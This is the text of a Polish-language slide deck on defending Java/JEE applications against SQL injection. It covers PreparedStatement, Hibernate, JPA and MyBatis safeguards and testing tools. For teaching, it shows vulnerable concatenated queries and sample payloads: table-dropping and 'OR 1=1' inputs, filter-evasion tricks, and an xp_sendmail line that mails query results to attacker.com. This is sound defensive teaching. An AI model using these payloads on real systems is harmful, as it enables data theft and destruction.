



Obrona przed SQL-injection w aplikacjach Java/JEE

O mnie

- 13 lat doświadczenia w systemach WEB
- Developer, Technical Leader, Project Manager
- Java/JEE
- (ISC)² CISSP
- CTO w J-LABS



O mnie

Prywatnie: MTB MTB MTB... czasem szosa ☺



SQL Injection?

Czy to NADAL problem?



SQL Injection?

... bo przecież mamy
Hibernate, JPA, JDBC



SQL Injection?

No 1 w
OWASP top 10

Top 10 2013-Top 10	
← Risk	2013 Table of Contents
	2013 Top 10 List
A1-Injection	A1-Injection
A1-Injection	Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
A2-Broken Authentication and Session Management	Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities.
A3-Cross-Site Scripting (XSS)	XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
A4-Insecure Direct Object References	A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.
A5-Security Misconfiguration	Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date.
A6-Sensitive Data Exposure	Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.
A7-Missing Function Level Access Control	Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization.
A8-Cross-Site Request Forgery (CSRF)	A CSRF attack forces a logged-on victim's browser to send a forged HTTP request, including the victim's session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim's browser to generate requests the vulnerable application thinks are legitimate requests from the victim.
A9-Using Components with Known Vulnerabilities	Components, such as libraries, frameworks, and other software modules, almost always run with full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defenses and enable a range of possible attacks and impacts.

SQL Injection?

No 1 w
OWASP top 10

Top 10 2013-Top 10	
← Risk	2013 Table of Contents
2013 Top 10 List	
A1-Injection	A1-Injection
A1-Injection	Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
A2-Broken Authentication and Session Management	Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities.
A3-Cross-Site Scripting (XSS)	XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
A4-Insecure Direct Object References	A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.
A5-Security Misconfiguration	Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date.
A6-Sensitive Data Exposure	Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.
A7-Missing Function Level Access Control	Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization.
A8-Cross-Site Request Forgery (CSRF)	A CSRF attack forces a logged-on victim's browser to send a forged HTTP request, including the victim's session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim's browser to generate requests the vulnerable application thinks are legitimate requests from the victim.
A9-Using Components with Known Vulnerabilities	Components, such as libraries, frameworks, and other software modules, almost always run with full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defenses and enable a range of possible attacks and impacts.

SQL Injection?



Co to jest SQL Injection?

Injection?

Zacznijmy od... Injection?

„...wysłanie nie zaufanych danych do interpretera...”

Injection?

Zacznijmy od... Injection?

„...wysłanie nie zaufanych danych do interpretera...”

... do jakiego interpretera???

Injection?

- Czyli do bazy SQL

Injection?

- Czyli do bazy SQL
- Także
 - LDAP
 - Xpath
 - Zapytania NoSQL
 - Komendy OS
 - Parsery XML
 - Nagłówki SMTP
 - Itd..

SQL Injection

SQL Injection?

„...wstrzykniecie do aplikacji zapytania SQL tak aby było interpretowane przez SQLową bazę danych”

SQL Injection

```
String query = "SELECT account_balance FROM user_data  
WHERE user_name = '" + request.getParameter("customerName") + "'";
```

SQL Injection

```
String query = "SELECT account_balance FROM user_data  
WHERE user_name = '" + request.getParameter("customerName") + "'";
```

```
Statement statement = connection.createStatement();  
ResultSet results = statement.executeQuery(query);
```

SQL Injection

```
String query = "SELECT account_balance FROM user_data  
WHERE user_name = '" + request.getParameter("customerName") + "'";
```

```
Statement statement = connection.createStatement();  
ResultSet results = statement.executeQuery(query);
```

Nazwa klienta:

SQL Injection

```
String query = "SELECT account_balance FROM user_data  
WHERE user_name = '" + request.getParameter("customerName") + "'";
```

```
Statement statement = connection.createStatement();  
ResultSet results = statement.executeQuery(query);
```

Nazwa klienta:

SQL:

```
SELECT account_balance FROM user_data  
WHERE user_name = 'admin'; drop table users; --'
```

Zagrozenie

SQL injection może spowodować

- Odczytanie poufnych danych



Zagrożenie

SQL injection może spowodować

- Odczytanie poufnych danych
- Modyfikacje (update, insert)



Zagrożenie

SQL injection może spowodować

- Odczytanie poufnych danych
- Modyfikacje (update, insert)
- Zniszczenie (delete, drop)



Zagrożenie

SQL injection może spowodować

- Odczytanie poufnych danych
- Modyfikacje (update, insert)
- Zniszczenie (delete, drop)
- Wykonanie polecenia bazy danych



Zagrożenie

SQL injection może spowodować

- Odczytanie poufnych danych
- Modyfikacje (update, insert)
- Zniszczenie (delete, drop)
- Wykonanie polecenia bazy danych
- Wykonanie polecenia systemowego (np. xp_cmdshell w Transact-SQL)...



Zagrożenie

SQL injection może spowodować

- Odczytanie poufnych danych
- Modyfikacje (update, insert)
- Zniszczenie (delete, drop)
- Wykonanie polecenia bazy danych
- Wykonanie polecenia systemowego (np. xp_cmdshell w Transact-SQL)...
- ...a czasem przejęcie kontroli (**ROOT**)



7 na 10* największych włamań poprzez SQL Injection

- Heartland Payment Systems: 130 Million records lost – Jan 20, 2009
- TJX Companies: 94 Million records lost – Jan 17, 2007
- TRW: 90 Million records lost – June 1, 1984
- Sony Corporation: 77 Million records lost – April 26, 2011
- Card Systems: 40 Million records lost – June 19, 2005
- RockYou: 32 Million record lost – Dec 14, 2009
- Sony Corporation: 25 Million records lost – May 2, 2011

<http://blogs.msdn.com/b/cdndevs/archive/2013/04/01/security-code-review-techniques-sql-injection-edition.aspx>

Dygresja

Jak sądzicie ilu developerów aplikacji WEB
wie co to jest SQL Injection?

Jak sądzą ilu developerów aplikacji WEB
wie co to jest SQL Injection?

- ...85% wie...

Jak sądzą developerów aplikacji WEB
wie co to jest SQL Injection?

- ...85% wie...
- ...z nich 85% wie jak się zabezpieczyć

Okolo **połowy** osób:

- Uważa, że filtrowanie danych zabezpiecza ich przeciw SQL injection
- Nie potrafi podać prostego przykładu ataku SQL injection



Hmmm...

SQL Injection

```
String query = "SELECT account_balance FROM user_data  
WHERE user_name = '" + request.getParameter("customerName") + "'";
```

```
Statement statement = connection.createStatement();  
ResultSet results = statement.executeQuery(query);
```

Nazwa klienta:

SQL:

```
SELECT account_balance FROM user_data  
WHERE user_name = 'admin'; drop table users; --'
```

Rodzaje SQL Injection



- Poorly Filtered Strings
- Incorrect Type Handling
- Signature Evasion
- Blind SQL Injection
- Second Order Injection Attacks
- Out of band

Poorly Filtered Strings

- Brak filtracji znaków specjalnych takich jak: ‘ ’
- Przykład:

```
"SELECT * FROM users WHERE  
  user_name = '"+login+"' AND password = '"+pass+"'";
```

login: **usr**, password: **x' OR '1'='1'**

```
SELECT * FROM users WHERE  
  user_name = 'usr' AND password = 'x' OR '1'='1';
```

Incorrect Type Handling

- Brak walidacji typów danych (np. liczb)
- Przykład:

```
"SELECT * FROM users WHERE age=" + age;  
age: 20; update employees set salary = salary * 2;
```

```
SELECT * FROM users WHERE  
    age= 20; update employees set salary = salary * 2;
```

...albo age: **20 or 1=1**

```
SELECT * FROM users WHERE age=20 or 1=1;
```

Signature Evasion

- Blokowanie SQL injection za pomocą analizatorów sygnatur

Np. **OR 1=1** czy podobna sygnatura może być zablokowana

- Oszukiwanie analizatorów sygnatur

- OR 'anystring'='anystring'
- OR 'text' = 'te'+ 'xt'
- OR 'text' > 't'
- OR 5 > 2
- OR 2+2 < 6-1
- OR 'text' IN ('text','text2')
- OR '5' BETWEEN '2' AND '6'
- OR 'text' like 'tex%'

Signature Evasion

- Oszukiwanie analizatorów sygnatur
 - Fragmentacja pakietów TCP/IP
 - Brak białych znaków: OR'text'='text'
 - Zmiana kodowania znaków
 - Escape'owanie znaków, które nie mają specjalnego znaczenia. Np. /d jest konwertowany do d.
 - Rozdzielenie słów kluczowych SQL znakami komentarzy np. UN/**/ION/**/ SE/**/LECT/**/
 - Stosowanie białych znaków np. tabulatory

Blind SQL Injection

- Efekty ataku nie są bezpośrednio widoczne
- Rodzaje:
 - Content-based

```
SELECT g FROM groups WHERE groupid=3 OR 1=1;  
SELECT g FROM groups WHERE groupid=3 AND 1=2;
```
 - Time-based – opóźnienie w odpowiedzi serwera

Second Order Injection Attacks

Dane z bazy nie filtrowane powodują wstrzyknięcie SQLa

Out of band

- Wynik ataku jest przekazywany do atakującego innym kanałem:
 - http request
 - E-mail
 - Zapis do pliku
 - ... a nawet DNS
- Przykład (MS SQL Server)

```
EXEC master..xp_sendmail @recipients =  
    'admin@attacker.com', @query = 'select @@version'
```

Jak się zabezpieczyć



Jak się zabezpieczyć

PreparedStatement

PreparedStatement



Jak się zabezpieczyć - sposoby

- Nie ufaj danym z zewnątrz (także z systemów zależnych czy plików)

Jak się zabezpieczyć - sposoby

- Nie ufaj danym z zewnątrz (także z systemów zależnych czy plików)
- Nie ufaj danym z bazy

Jak się zabezpieczyć - sposoby

- Nie ufaj danym z zewnątrz (także z systemów zależnych czy plików)
- Nie ufaj danym z bazy
- Nie sklejjaj SQL z danymi (PreparedStatement)

Jak się zabezpieczyć - sposoby

- Nie ufaj danym z zewnątrz (także z systemów zależnych czy plików)
- Nie ufaj danym z bazy
- Nie sklejjaj SQL z danymi (PreparedStatement)
- Ogranicz uprawnienia kont w serwerze bazy danych

Jak się zabezpieczyć - sposoby

- Nie ufaj danym z zewnątrz (także z systemów zależnych czy plików)
- Nie ufaj danym z bazy
- Nie sklejjaj SQL z danymi (PreparedStatement)
- Ogranicz uprawnienia kont w serwerze bazy danych
- Stosuj własne komunikaty o błędach

Jak się zabezpieczyć - sposoby

- Nie ufaj danym z zewnątrz (także z systemów zależnych czy plików)
- Nie ufaj danym z bazy
- Nie sklejjaj SQL z danymi (PreparedStatement)
- Ogranicz uprawnienia kont w serwerze bazy danych
- Stosuj własne komunikaty o błędach
- Sprawdzaj regularnie podatności (np. za pomocą testów jednostkowych)

Jak się zabezpieczyć - sposoby

- Nie ufaj danym z zewnątrz (także z systemów zależnych czy plików)
- Nie ufaj danym z bazy
- Nie sklejjaj SQL z danymi (PreparedStatement)
- Ogranicz uprawnienia kont w serwerze bazy danych
- Stosuj własne komunikaty o błędach
- Sprawdzaj regularnie podatności (np. za pomocą testów jednostkowych)
- Sprawdź czy sterowniki nie mają błędów

Jak się zabezpieczyć - sposoby

- Nie ufaj danym z zewnątrz (także z systemów zależnych czy plików)
- Nie ufaj danym z bazy
- Nie sklejjaj SQL z danymi (PreparedStatement)
- Ogranicz uprawnienia kont w serwerze bazy danych
- Stosuj własne komunikaty o błędach
- Sprawdzaj regularnie podatności (np. za pomocą testów jednostkowych)
- Sprawdź czy sterowniki nie mają błędów
- Używaj widoków i procedur składowanych

Jak się zabezpieczyć - sposoby

- Nie ufaj danym z zewnątrz (także z systemów zależnych czy plików)
 - Nie ufaj danym z bazy
 - Nie sklejjaj SQL z danymi (PreparedStatement)
 - Ogranicz uprawnienia kont w serwerze bazy danych
 - Stosuj własne komunikaty o błędach
 - Sprawdzaj regularnie podatności (np. za pomocą testów jednostkowych)
 - Sprawdź czy sterowniki nie mają błędów
 - Używaj widoków i procedur składowanych
-
- Filtruj dane wejściowe – zawsze to coś pomoże

Jak się zabezpieczyć - JDBC

- Użycie PreparedStatement
- Przykład:

```
String query =  
    "SELECT account_balance FROM user_data WHERE user_name = ?";  
PreparedStatement pstmt = connection.prepareStatement(query);  
pstmt.setString(1, custname);  
ResultSet results = pstmt.executeQuery( );
```

Oraz używać metod takich jak `setInt()`, `setDate()`

Jak się zabezpieczyć - Hibernate

- Użycie „named parameters”
- Przykład:

```
Query safeHQLQuery =  
    session.createQuery("from Inventory where productID=:productid");  
safeHQLQuery.setParameter("productid", userSuppliedParameter);
```

- Uwaga na Criteria API

```
Restrictions.sqlRestriction(String sql)
```



Jak się zabezpieczyć - JPA

- Użycie „named parameters”
- Przykład:

```
Query jpqlQuery =  
    entityManager.createQuery("Select emp from Employees emp  
        where emp.name > :name");  
jpqlQuery.setParameter("name", userName);  
List results = jpqlQuery.getResultList();
```

Jak się zabezpieczyć - MyBatis

- Użycie notacji `#{}` – to generuje `PreparedStatement`
- Przykład:

```
<select id="getPerson" parameterType="int"
        resultType="org.application.vo.Person">
    SELECT * FROM PERSON WHERE ID = #{id}
</select>
```

- Nie używać notacji `${}` – wartość doklejana jest do zapytania SQL

Jak sprawdzić

- Wprowadzanie ręcznie znaków sterujących: ' ; -- /* */
- Użycie narzędzi:
 - W3af (<http://w3af.sourceforge.net/>)
 - Sqlmap (<http://sqlmap.org/>)
 - The Mole (<http://themole.nasel.com.ar/>)
 - Pangolin (<http://www.nosec.org/en/productservice/pangolin/>)
 - Blind Sql Injection Brute Forcer (<https://code.google.com/p/bsqlbf-v2/>)
 - SQL Power Injector (<http://www.sqlpowerinjector.com>)

Jak sprawdzić

- Statyczne analizatory kodu:

- LAPSE+ (https://www.owasp.org/index.php/OWASP_LAPSE_Project)
- FindBugs (<http://findbugs.sourceforge.net>)
- PMD (<http://pmd.sourceforge.net>)

Komercyjne:

- IBM Security AppScan Source
(<http://www-01.ibm.com/software/rational/products/appscan/source/>)
- Static Code Analysis (<http://www.checkmarx.com/technology/static-code-analysis-sca/>)
- Veracode Static Analysis (<http://www.veracode.com/products/static>)

- https://www.owasp.org/index.php/Top_10_2013-A1-Injection
- <http://i1-news.softpedia-static.com/images/extra/SECURITY/paypal%20Blind%20SQLi.txt>
- <http://blogs.msdn.com/b/cdndevs/archive/2013/04/01/security-code-review-techniques-sql-injection-edition.aspx>
- https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
- <http://webdevrefinery.com/forums/topic/4178-security-essentials-sql-injection/>
- http://forum.sqa.bg/uploads/SQL_Injection_Protection_LK.pdf
- <http://www.securitum.pl/baza-wiedzy/publikacje/sql-injection-nietypowy-wariant-ataku>
- https://www.owasp.org/index.php/Blind_SQL_Injection
- <http://webdevrefinery.com/forums/topic/4178-security-essentials-sql-injection/>
- <http://www.ptsecurity.com/download/PT-devteev-FAST-blind-SQL-Injection.pdf>
- [https://www.owasp.org/index.php/Testing_for_SQL_Injection_\(OWASP-DV-005\)](https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005))
- https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
- <http://hackingexpose.blogspot.com/2009/04/postgresql-error-base-sql-injection.html>
- http://www.oratechinfo.co.uk/sql_injection.html
- <http://ferruh.mavituna.com/oracle-sql-injection-cheat-sheet-oku/>
- http://hikipedia.com/index.php/SQL_Injection
- <http://webdevrefinery.com/forums/topic/4178-security-essentials-sql-injection/>

Linkowisko

- https://www.owasp.org/index.php/OWASP_Validation_Regex_Repository
- <http://lists.opensuse.org/opensuse-security/2012-03/msg00024.html>
- <http://msdn.microsoft.com/en-us/magazine/cc163917.aspx>
- https://www.owasp.org/index.php/Interpreter_Injection#ORM_Injection
- http://www.websec.ca/kb/sql_injection
- https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29
- <http://w3af.sourceforge.net/>
- <http://sqlmap.org/>
- <http://themole.nasel.com.ar/>
- <http://www.nosec.org/en/productservice/pangolin/>
- <https://code.google.com/p/bsqlbf-v2/>
- <http://www.sqlpowerinjector.com>
- https://www.owasp.org/index.php/OWASP_LAPSE_Project
- <http://findbugs.sourceforge.net>
- <http://pmd.sourceforge.net>
- <http://www-01.ibm.com/software/rational/products/appscan/source/>
- <http://www.checkmarx.com/technology/static-code-analysis-sca/>
- <http://www.veracode.com/products/static>
- <http://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-persistence-api-jpa>
- <http://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-mybatis>



www.j-labs.pl

Dziękuję

Piotr Bucki
piotr.bucki@j-labs.pl

Podziękowania za pomoc w
przygotowaniu dla:
Piotr Janik
Marcin Kilar